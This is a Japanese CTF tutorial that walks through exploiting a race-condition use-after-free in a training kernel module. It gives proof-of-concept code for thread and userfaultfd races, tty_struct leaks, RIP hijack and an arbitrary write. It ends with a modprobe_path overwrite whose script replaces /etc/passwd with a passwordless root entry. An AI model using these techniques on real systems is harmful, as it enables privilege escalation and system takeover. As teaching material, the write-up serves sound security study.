UAF / TOCTOU

SLUBにおけるUAFとTOCTOU

Challenge

[Distribution File]

[vmlinux with debug symbols]

1
nc sc skb.pw 49408

Challenge概要とTOCTOU

LKM概要です。 いい加減ノートアプリばっかで飽きますね、でもシンプルな問題作りやすいので許してください:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
typedef struct {
  size_t size;
  char *buf;
} note;
note *notes[MAX_NUM_NOTE] = {0};

long uaf_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
  long ret = 0;
  uaf_ioctl_req req;
  int idx = 0;
  note *target = NULL;

  if (copy_from_user(&req, (uaf_ioctl_req *)arg, sizeof(uaf_ioctl_req))) {
    ret = -EFAULT;
    goto out;
  }

  switch (cmd) {
    case UAF_IOCTL_CREATE:
      if ((idx = find_empty_note()) == -1) {
        ret = -ENOMEM;
        goto out;
      }
      if (req.size <= 0 || req.size > MAX_SIZE_NOTE) {
        ret = -EINVAL;
        goto out;
      }
      if ((target = kzalloc(sizeof(note), GFP_KERNEL)) == NULL) {
        ret = -ENOMEM;
        goto out;
      }
      notes[idx] = target;
      if ((target->buf = kzalloc(req.size, GFP_KERNEL)) == NULL) {
        kfree(target);
        ret = -ENOMEM;
        goto out;
      }
      target->size = req.size;
      if (copy_from_user(target->buf, req.buf, req.size)) {
        kfree(target->buf);
        kfree(target);
        ret = -EFAULT;
        goto out;
      }

      ret = idx;
      break;
    case UAF_IOCTL_READ:
      if (req.idx < 0 || req.idx >= MAX_NUM_NOTE ||
          (target = notes[req.idx]) == NULL) {
        ret = -EINVAL;
        goto out;
      }
      if (copy_to_user(req.buf, target->buf, target->size)) {
        ret = -EFAULT;
        goto out;
      }
      break;
    case UAF_IOCTL_DELETE:
      if (req.idx < 0 || req.idx >= MAX_NUM_NOTE ||
          (target = notes[req.idx]) == NULL) {
        ret = -EINVAL;
        goto out;
      }
      kfree(target->buf);
      kfree(target);
      notes[req.idx] = NULL;
      break;
    default:
      ret = -EINVAL;
  }

out:
  return ret;
}

前回と同様に、struct noteを作成・読み取り・削除することができます。 ただし、前回とは違いノート本体はstruct note中ではなく、別途確保された領域(buf)に入ります。 また、オーバーフローはありません。

今回の脆弱性は TOCTOU (Time of Check to Time of Use) というタイプのものです。 Race Conditionとか言うこともあります。 ある変数などの整合性をチェックしてから、実際にその変数を使うまでの間に変数の状態が変わってしまい、 利用時には不正な状態になっていることを指します。 UAF_IOCTL_CREATEでは、以下のような流れでノートを作成しています:

  1. 空いているnotesのインデックスを探す (find_empty_note)
  2. noteを確保する (kzalloc)
  3. note->bufを確保する (kzalloc)
  4. notes[idx]noteをセットする
  5. note->bufにユーザーからの入力をコピーする (copy_from_user)

しかし、4と5の間にUAF_IOCTL_DELETEが呼ばれてしまうとどうなるでしょうか。 DELETEでは、notes[idx]に入っているノートをkfreeしてしまいます。 よって、CREATE側の5ではkfreeした領域に対してcopy_from_user()してしまうことになります。 解放した領域に対する書き込みなので、 UAFです。

そもそもこのような競合が起きてしまっているのは、関数内で適切に lock を取っていないためです。 本来であれば、notesに同時にアクセスできないようにnotesに触る前にlockを取り、 notesに触り終わったらlockを解放する必要があります。

tty_struct

UAFでbufの上に重ねる構造体を選ぶ必要があります。 今回は便利構造体の一つであるstruct tty_struct(/include/linux/tty.h)を使いましょう:

1
2
3
4
5
6
7
8
struct tty_struct {
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;
  ...
}

本当はもっと巨大で、この構造体はkmalloc-1024に入ります。 この構造体は、/proc/ptmx等のデバイスファイルを開いたときに確保されます。

まずは/proc/ptmxの作成箇所を見てみましょう(/drivers/tty/pty.c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
static struct file_operations ptmx_fops __ro_after_init;

static void __init unix98_pty_init(void)
{
  ...
	tty_set_operations(ptm_driver, &ptm_unix98_ops);
  ...
	tty_default_fops(&ptmx_fops);
	ptmx_fops.open = ptmx_open;

	cdev_init(&ptmx_cdev, &ptmx_fops);
	if (cdev_add(&ptmx_cdev, MKDEV(TTYAUX_MAJOR, 2), 1) ||
	    register_chrdev_region(MKDEV(TTYAUX_MAJOR, 2), 1, "/dev/ptmx") < 0)
		panic("Couldn't register /dev/ptmx driver");
	device_create(tty_class, NULL, MKDEV(TTYAUX_MAJOR, 2), NULL, "ptmx");
}

/dev/ptmxfopsとしてptmx_fopsを指定したあと、.openフィールドをptmx_openに変えています。 よって、/dev/ptmxをopenするとptmx_open(/drivers/tty/pty.c)が呼ばれることになります:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
static int ptmx_open(struct inode *inode, struct file *filp)
{
	struct tty_struct *tty;
  ...
	tty = tty_init_dev(ptm_driver, index);
  ...
}

struct tty_struct *tty_init_dev(struct tty_driver *driver, int idx)
{
  ...
	tty = alloc_tty_struct(driver, idx);
  ...
}

このtty_structが便利な理由は、kbase leak / heap leak / RIPの奪取を全てこの構造体が出来るためです。

kbase leak

alloc_tty_struct()の中で以下のような箇所があります:

1
2
3
4
5
6
7
8
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
  ...
	INIT_WORK(&tty->hangup_work, do_tty_hangup);
  ...
	tty->ops = driver->ops;
  ...
}

ここで、/dev/ptmxの場合にはdriverstatic struct tty_driver *ptm_driver(/drivers/tty/pty.c)です。 このドライバのopsは上のunix98_pty_init()においてptm_unix98_opsとして初期化されています。 すなわち、/dev/ptmxtty_struct.opsptm_unix98_opsであり、この値をleakすることでKASLRをバイパスすることができます。

ちなみに、alloc_tty_struct()ではtty->hangup_workに対してdo_tty_hangupを代入しています。 これもKASLRのバイパスのためにleakに使うことができます。 とりわけ、今回は所持上でtty_structの前半を読み取ることができないため、最後の方においてあるtty_struct.hangup_workを読むことでKASLRをバイパスします。

heap leak

tty_structの中にはheapのアドレスもたくさんおいてあるため、heapのleakに使うことができます。 例えば、struct ld_semaphore ldisc_semメンバ(/include/linux/tty_ldisc.h)があります:

1
2
3
4
5
6
7
struct ld_semaphore {
	atomic_long_t		count;
	raw_spinlock_t		wait_lock;
	unsigned int		wait_readers;
	struct list_head	read_wait;
	struct list_head	write_wait;
};

この中でlist_head型が自分自身を指している(場合がある)ため、 tty_struct.ldisc_sem.read_wait->prevを読むことでheapのアドレス(というかtty_struct自身)をleakすることができます。

RIPの奪取

tty_structの中にはstruct tty_operations opsがあります。 これは、開いた/dev/ptmxファイルに対する操作を司ります。 kbase leakでも見たように、デフォルトでptm_unix98_opsが入っています。

例えば、/dev/ptmxで開いたファイルのstruct fileには.f_op->ioctlとしてtty_ioctl()が入っています(/drivers/tty/tty_io.c):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
long tty_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
	struct tty_struct *tty = file_tty(file);
  ...
	if (tty_paranoia_check(tty, file_inode(file), "tty_ioctl"))
		return -EINVAL;
  ...
	retval = tty->ops->ioctl(tty, cmd, arg);
	if (retval != -ENOIOCTLCMD)
		return retval;
  ...
}

この関数では、tty->ops->ioctlを呼び出します。 よって、tty_struct.opsを偽物のvtableが入ったアドレスに書き換えることにより、任意の関数を呼び出すことができます。

スレッドを使った力技の競合

さて、tty_structについて少し座学をしたので実際に競合状態を起こしてみましょう。 最初にCREATEでの競合について書きましたが、READでも競合がおきます。 READの正しい流れは以下です:

  1. note[req.idx]が存在することを確認する。
  2. note[req.idx]->bufをユーザ領域ににコピーする

ここで1と2の間、もしくは2が完了するまでの間にDELETEが呼ばれ、 かつfreeされた領域にtty_structを確保することができれば copy_to_usertty_structの中身がleakできるはずです。 copy_to/from_user()関数は割と重い関数のため、 1と2の間にDELETEを入れるのは難しかったとしても、 2が完了するまでにはそれなりに時間があるはずです。

よって、スレッドを大量に立てて力技でleakしてみましょう。 以下の3つのスレッドを立てます。

  1. idxが0のノートからひたすらにREADし続ける。もしも0以外の値が読めたら成功。
  2. idx0のノートをひたすらにDELETEし続ける。もちろんDELETEDELETEの間にスレッド3が呼ばれないとエラーになるけど無視。
  3. ノートをひたすらCREATEし続ける。もちろんDELETEした回数を上回るとノートの個数上限に引っかかるけど無視。

これのPoCが以下のようになります:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
int start = 0, stop = 0;

void *reader_func(void *arg) {
  char buf[0x400] = {0};
  while (!start)
    ;
  puts("[+] START: reader_func");
  do {
    read_note(fd, 0, buf);
    if (((ulong *)buf)[0x55] != 0x0) {
      puts("[!] Found UAF!");
      stop = 1;
    }
  } while (!stop);

  print_curious(buf, 0x400, 0x0);
  return NULL;
}

void *creater_func(void *arg) {
  char buf[0x400] = {0};
  while (!start)
    ;
  puts("[+] START: creater_func");
  do {
    create_note(fd, 0x400, buf);
    usleep(1000);
  } while (!stop);

  puts("[+] END: creater_func");
  return NULL;
}

void *deleter_func(void *arg) {
  char buf[0x400] = {0};
  while (!start)
    ;
  puts("[+] START: deleter_func");
  do {
    delete_note(fd, 0);
  } while (!stop);

  puts("[+] END: deleter_func");
  return NULL;
}

void *tty_func(void *arg) {
  while (!start)
    ;
  puts("[+] START: tty_func");

  do {
    int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    assert(fd > 0);
    close(fd);
  } while (!stop);

  return NULL;
}

int main(int argc, char *argv[]) {
  pthread_t reader, creater, deleter, tty;
  int reader_sfd, creater_sfd, deleter_sfd, tty_sfd;
  char buf1[0x400] = {0}, buf2[0x400] = {0};
  if ((fd = open(DEV_PATH, O_RDONLY)) < 0) {
    perror("[-] open");
    exit(EXIT_FAILURE);
  }

  reader_sfd = pthread_create(&reader, NULL, reader_func, NULL);
  creater_sfd = pthread_create(&creater, NULL, creater_func, NULL);
  deleter_sfd = pthread_create(&deleter, NULL, deleter_func, NULL);
  tty_sfd = pthread_create(&tty, NULL, tty_func, NULL);

  puts("[+] Starting threads...");
  start = 1;

  pthread_join(reader, NULL);
  pthread_join(creater, NULL);
  pthread_join(deleter, NULL);
  pthread_join(tty_sfd, NULL);

  puts("[ ] END of life...");
}

上のPoCを動かしてみましょう。 ただし、コア数1だと滅多に競合しないため少しずるをして4コアくらいでやってみましょう。 コア数を変えるには、run.sh-smp 4のように追加してください。 これで走らせると以下のようになります:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
/ $ ./exploit
[+] Starting threads...
[+] START: creater_func
[+] START: reader_func
[+] START: tty_func
[+] START: deleter_func
[!] Found UAF!
[0x0] 0x00000400
[0x1] 0xffff8880027c47b0
[0x2] 0x00000400
[0x3] 0xffff8880027c47c0
[0x5] 0xffff8880027c47f0
[0x7] 0xffff8880027c4800
[0x9] 0xffff8880027c4810
[0xb] 0xffff8880027c4820

kernel領域のアドレスのようなものがleakできていることがわかりますね! いい感じに競合しています。

userfaultfdによる競合

しかしこの場合、スレッドによる競合はかなりタイミングがシビアです。 よって、userfaultfdという仕組みを使うことにしましょう。

userfaultfdの仕組み

userfaultfdは、ユーザ空間でページフォルトが起きた場合にユーザ空間でそのフォルトを処理できるようにするsyscallです(/fs/userfaultfd.c):

1
2
3
4
5
6
7
SYSCALL_DEFINE1(userfaultfd, int, flags)
{
	if (!userfaultfd_syscall_allowed(flags))
		return -EPERM;

	return new_userfaultfd(flags);
}

この関数は[userfaultfd]という名前のannonymous inodeを作成します。 struct fileprivate_dataメンバに対してstruct userfaultfd_ctxを、 f_opsとしてuserfaultfd_fopsをセットしてユーザにfdを返します。

userfaultfdを呼んだ直後は、userfaultfd_ctx.stateUFFD_STATE_WAIT_APIにセットされています。 この状態を進めるためには、fdに対してUFFDIO_APIを引数としてioctlしてあげる必要があります。 この処理は状態をUFFD_STATE_RUNNINGに進めると同時に、 このkernelでサポートされているUFFDの機能を教えてくれます。 以下のように呼び出します:

1
2
3
4
5
struct uffdio_api uffdio_api;
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
  errExit("ioctl-UFFDIO_API");

次にやるべきことは、userlandのどの領域におけるフォルトを監視するかどうかの設定です。 そのためにはioctlUFFDIO_REGISTERという引数で呼び出します:

1
2
3
4
5
6
struct uffdio_register uffdio_register;
uffdio_register.range.start = addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
  errExit("ioctl-UFFDIO_REGISTER");

start / lenによって監視すべきメモリ領域を指定しています。

modeはどのようなフォルトを監視するかを設定します (userfaultfd_register()@/fs/userfaultfd.c)。 よく使うのは以下です:

  • UFFDIO_REGISTER_MODE_MISSING: ページが存在しない場合を監視
  • UFFDIO_REGISTER_MODE_WP: ページが存在するが書き込み禁止の場合を監視

さて、実際のページフォルトはhandle_page_fault()(/arch/x86/mm/fault.c)で処理されます。 ここでは、フォルトが起きたアドレスがuser/kernelのどちらであるかを検証し、 userlandである場合にはdo_user_addr_fault()を呼びます。

例えばこのフォルトがmmapされたページへの初回書き込みであった場合には、 最終的にdo_annonymous_page()(/mm/memory.c)という関数が呼ばれます:

1
2
3
4
5
6
7
static vm_fault_t do_anonymous_page(struct vm_fault *vmf)
{
		if (userfaultfd_missing(vma)) {
			pte_unmap_unlock(vmf->pte, vmf->ptl);
			return handle_userfault(vmf, VM_UFFD_MISSING);
		}
}

handle_userfault()では、ctx->fault_pending_wqhに対してこのイベントを通知します。 これによって、次にユーザがイベントをpollした際にこのイベントを取得でき、 フォルトをハンドリングすることができます。 なお、kernelのフォルトハンドラはユーザのフォルトハンドラが返ってくるまで処理を中止するため、 ハンドリングが終わったら適切にkernelに通知してあげる必要があります。

userfaultfdの使い方

少しだけ仕組みを理解したので、実際に使ってみましょう。

まず、以下のようなコードで0xDEAD000アドレスに対してmmapします。 また、uffdio_registerを用いてmmapしたアドレスとサイズを登録し、uffd_handlerという関数をスレッドでは知らせます:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

// enable uffd object via ioctl(UFFDIO_API)
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffder->uffd, UFFDIO_API, &uffdio_api) == -1)
  errExit("ioctl-UFFDIO_API");

// mmap
printf("[%s] mmapping...\n", uffder->name);
void *addr = mmap(
    base, 0x1000,
    PROT_READ | PROT_WRITE | PROT_EXEC,
    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,
    0);  // set MAP_FIXED for memory to be mmaped on exactly specified addr.

// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
uffdio_register.range.start = 0xDEAD000;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = uffder->watch_mode;
if (ioctl(uffder->uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
  errExit("ioctl-UFFDIO_REGISTER");

int s = pthread_create(&uffder->thr, NULL, uffd_handler, uffd);

このハンドラは以下のようになっています。 まず、userfaultfdpoll()で延々と監視し続けます。 イベントが発生した場合には、その中身を読み取って意図したイベント(UFFD_EVENT_PAGEFAULT)であることを確認します。 この時点で、kernelのフォルト処理は中断されているため好きなことをすることができます。 やりたいことをし終わったら、kernelに処理を戻します。 どのようにしてフォルトを処理するかにはいくつか方法がありますが、 今回はUFFDIO_COPYというフォルトが起きたページに対して好きなページをコピーさせるという処理をすることにします。 今回の場合は、フォルトが起きたページに対して0xBEEF000というアドレスにあるページをコピーして、 フォルト処理を終了させています。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void *uffd_handler(void *arg) {
  long uffd = arg;
  static struct uffd_msg msg;
  struct uffdio_copy uffdio_copy;
  struct pollfd pollfd;
  int nready;

  // set poll information
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  // wait for poll
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll");

    // read an event
    if (read(uffd, &msg, sizeof(msg)) <= 0) errExit("read event");
    if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault");

    printf("[!] page fault @ %p\n", (void *)msg.arg.pagefault.address);

    /** ここで好きなことをやる **/

    // copy customized page into faulted page
    uffdio_copy.src = 0xBEEF000;
    uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(0x1000 - 1);
    uffdio_copy.len = uffder->num_page * 0x1000;
    uffdio_copy.mode = 0;
    if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
      errExit("ioctl-UFFDIO_COPY");

    break;
  }
}

kbaseのleak

さて、実際にuserfaultfdを使ってkbaseをleakしてみましょう。

userfaultfdを使うことで、READ処理の途中にあるcopy_to_user()でLKMがユーザ領域にアクセスしてきたときに 処理を中断させてユーザに戻すことができます。 もちろん、このLKMに対して渡すバッファとしてmmapした領域を渡す必要があります。

1
2
3
4
5
6
7
char *cpysrc_read =
    mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int victim_note_idx = create_note(fd, 0x400, buf1);

/** ここでuserfaultfdで`ADDR_FAULT_READ`アドレスを登録する **/

read_note(fd, victim_note_idx, (char *)ADDR_FAULT_READ);

read_noteでフォルトが発生し、登録したハンドラに処理が移ります。 この中でノートをDELETEしたあと、/dev/ptmxを開いてtty_structを確保します。 これによって、今まさにREADしようとして中断しているノートが解放され、 さらにそこにtty_structが置かれることになります:

1
2
3
4
5
6
7
8
9
void *read_fault_handler(void *arg)
{
  ...
  delete_note(fd, victim_note_idx);
  assert((tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY)) > 0);
  ...

  /** ここでUFFDIO_COPYする **/
}

このハンドラを呼び出して、最終的に処理をkernelに戻すとcopy_to_user()が再開されます。 しかし、この時には既に目的のノートは解放され、tty_structに置き換わっています。 よって、このノートを読むことでtty_structの中身を全てleakすることができます。

kbase leakで書いたように、 今回はkbaseのleakとしてtty_struct.hangup_workを読み取ることができます。 また、heapのleakとしてtty_struct.ldisc_sem.read_wait->prevを読み取ることができます。 それぞれのフィールドがどのオフセットにあるのかは、 配布したvmlinuxをGDBで読み込んでptype/o struct tty_structコマンドを叩くことで調べられるので、 実際に手を動かして調べてみてください。

RIPの奪取

続いてRIPを取りましょう。

RIPの奪取で書いたように、tty_struct.opsに偽物のvtableアドレスを書いてあげることで 任意の関数を呼び出すことができます。

UAFを使ってtty_structに書き込むには、READの場合と同様に以下のような手順を踏みます:

  1. ノートを作成する際にcopy_from_user()に渡すユーザランドバッファをuserfaultfdで登録する
  2. ノートを作成しようとする
  3. copy_from_user()でフォルトが起きてユーザに処理が移る
  4. ハンドラでDELETEを呼び出す
  5. ハンドラで/dev/ptmxを開く
  6. フォルトを戻して、copy_from_user()を再開する。これはtty_structへの書き込みになる。

今回は問題の制約上tty_structの一部分だけを書き換えるということはできず、 0x400分全て書き換える必要があります。 まぁ、tty_structは結構丈夫な構造体なので大丈夫です。

フォルトハンドラでコピーするページをchar *cpysrcとすると、tty_structに書き込む値は以下のようにします:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#define TTY_OPS_OFFSET 0x50
ulong *tty = (ulong *)cpysrc;
*tty++ = 0x5401;                     // magic, kref
*tty++ = tty_heap;                   // dev
*tty++ = tty_heap + TTY_OPS_OFFSET;  // driver
*tty++ = tty_heap + TTY_OPS_OFFSET;  // ops
ulong *ops = (ulong *)(cpysrc_create + TTY_OPS_OFFSET);
for (int ix = 0; ix != 0x100 / 8; ++ix) {  // ops
  ops[ix] = 0xDEADBEEFCAFEBABE; // paranoia
}

まず、tty_ioctlの先頭でtty_paranoia_check()という関数が走り、 .magicに入っているマジックナンバーが正しいものかが検証されるため、 ここには0x5401という値を入れておく必要があります。

その他は割と自由です。 今回は偽のvtableをtty_struct + 0x50に置くことにします。 また、このvtableは中身を全て0xDEADBEEFCAFEBABEにしておきます。 とりあえずOopsを起こしてちゃんとRIPが取れているかを確認するためだけの値です。

tty_structを上記のように書き換えた状態で /dev/ptmxfdに対してioctlを呼び出すと以下のようになります:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[!] Invoking fake tty->ops
general protection fault, probably for non-canonical address 0xdeadbeefcafebabe: 0000 [#1] SMP PTI
CPU: 0 PID: 161 Comm: exploit Tainted: G           O      5.15.0 #7
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:tty_ioctl+0x3a5/0x920
Code: 44 89 e6 4c 89 ef e8 ca 07 68 00 3d fd fd ff ff 0f 85 d2 fd ff ff 4c 89 ef e8 f7 64 00 00 48 89 c3 48 82
RSP: 0018:ffffc9000047bdf8 EFLAGS: 00000286
RAX: deadbeefcafebabe RBX: deadbeefcafebabe RCX: 00000000706d742f
RDX: 0000000000000000 RSI: 7fffffffffffffff RDI: ffff8880032f5028
RBP: ffffc9000047bea0 R08: ffffffff81e38280 R09: 0000000000000000
R10: ffff888002d368a8 R11: 0000000000000000 R12: 00000000706d742f
R13: ffff8880032f5000 R14: ffffffff81e38280 R15: ffff8880032a9900
FS:  00000000004ef3c0(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00000000004efd68 CR3: 00000000032f2000 CR4: 00000000003006f0

ちゃんとvtableに入れておいた値にRIPがなっています。 RIPが取れました。

AAW

さて、RIPがとれたのであとは色々できます。

今回はSMEP/SMAPが有効なため、userlandのコードを動かしたり、userlandにstack pivotすることはできません (厳密に言うと、SMAP/SMEPはCR4レジスタを操作することで無効化出来るためstack pivotくらいならできますが)。 また、tty_ioctlでは呼び出し直後に引数としてtty_struct自身のアドレスが入るため、 tty_struct上にROP chainを構築することもできますが、今回は他の方法を取ることにします。

目的のためには、AAWが出来るようにしたいです。 ioctl(tty_fd, 0xabcdefg, 0x1234567)ops->ioctlを呼び出した直後には、レジスタは以下のようになっています:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$rax   : 0xffffffff81049018 <ptep_set_access_flags+0x18>  ->  0x0000441f0fc30a89
$rbx   : 0xffff8880032f8400  ->  0x0000000000005401 <irq_stack_backing_store+0x3401>
$rcx   : 0xbcdefg
$rdx   : 0x1234567
$rsp   : 0xffffc9000045bdf0  ->  0xffffffff813801b6 <tty_ioctl+0x386>  ->  0xd2850ffffffdfd3d
$rbp   : 0xffffc9000045bea0  ->  0xffffc9000045bf30  ->  0xffffc9000045bf48  ->  0x0000000000000000 <fixed_percpu_data>
$rsi   : 0xabcefg
$rdi   : 0xffff8880032f8400  ->  0x0000000000005401 <irq_stack_backing_store+0x3401>
$rip   : 0xffffffff81049018 <ptep_set_access_flags+0x18>  ->  0x0000441f0fc30a89
$r8    : 0x1234567
$r9    : 0x0
$r10   : 0xffff888002d368a8  ->  0x00000000000d21b6
$r11   : 0x0
$r12   : 0xabcdefg
$r13   : 0xffff8880032f8400  ->  0x0000000000005401 <irq_stack_backing_store+0x3401>
$r14   : 0x1234567
$r15   : 0xffff888003277100  ->  0x0000000000000000 <fixed_percpu_data>

$rcxが第2引数(4byte)、$rdxが第3引数(8byte)になっていることがわかりますね。 よって、以下のようなgadgetを使いましょう:

1
mov [rdx], ecx

このgadgetを指定することで、第3引数で指定してアドレスに第2引数で指定した任意の4byteを書き込むことができます。 AAW達成です。

modprobe_path

AAWが達成でき、かつkbaseも求められています。 こんなときは、modprobe_pathというkernel変数を書き換えてしまうことで簡単にrootが取れます。

modprobe_pathは、あるプログラムを実行しようとしたときに、対応するハンドラが見つからない場合にデフォルトで呼び出されるプログラムのパスを保持しています。 「プログラムに対応するハンドラ」というのは、 Cのプログラムであればld、 shebangとして#!/usr/bin/pythonと書かれたスクリプトならばpythonと言った感じです。

modprobe_pathはデフォルトで/sbin/modprobeになっています。 また、これが呼び出されるときにはroot権限で実行されます。 よってこの変数を書き換えてしまえば、謎のバイナリを動かす際に任意のプログラムをroot権限で動かすことが可能となります。

exploitでは、まず以下のように「謎のプログラム」(/tmp/nirugiri)と「modprobe_pathに指定してrootで動かしたいスクリプト」(/tmp/a)を作成します:

1
2
3
4
5
6
system("echo -ne \"\\xff\\xff\\xff\\xff\" > /tmp/nirugiri");
system(
    "echo -e \"#!/bin/sh\necho 'root::0:0:root:/root:/bin/sh' > "
    "/etc/passwd\" > /tmp/a");
system("chmod +x /tmp/nirugiri");
system("chmod +x /tmp/a");

nirugiri0xFFだけで構成される4byteバイナリであり、 このようなファイルに対するハンドラは存在しないためmodprobe_pathで指定されるプログラムが実行されることになります。 また、modprobe_pathとして今回は/tmp/aというシェルスクリプトを書きます。 このスクリプトは、/etc/passwdroot::0:0:root:/root:/bin/shという行を追加するものです。 /etc/passwdは3番目のフィールド(1-origin)に0を書き込むとパスワードなしという意味になります。 よって、この行を/etc/passwdに書き込むことでrootユーザにパスワード無しでsuすることができるようになります。

続いて、先程得たAAWプリミティブを使ってmodprobe_path/tmp/aと書き込みます。 この際、4byteずつしか書き込めないことに注意してください:

1
2
3
char *fname = "/tmp/a\x00";
ioctl(tty_fd, ((uint *)fname)[0], modprobe_path);
ioctl(tty_fd, ((uint *)fname)[1], modprobe_path + 4);

最後に、「謎のプログラム」を実行すればmodprobe_pathがrootで実行されます:

1
2
system("/tmp/nirugiri");
system("/bin/sh -c su");

ここまでの手順で、userfaultfdを使って安定した競合状態を引き起こし、UAFを発生させる方法の説明が終わりです。 皆さんも是非リモートでフラグをとってみてください。

なお、exploitを実際に書いてみるといくつか嵌りそうなポイントがあると思います。 手を動かすことが大事なのでとりあえずGDBでデバッグしてみて、 少し考えて分からなければDiscordで聞いてください。

Last modified November 15, 2023: add warning about challenge server (55ad5da)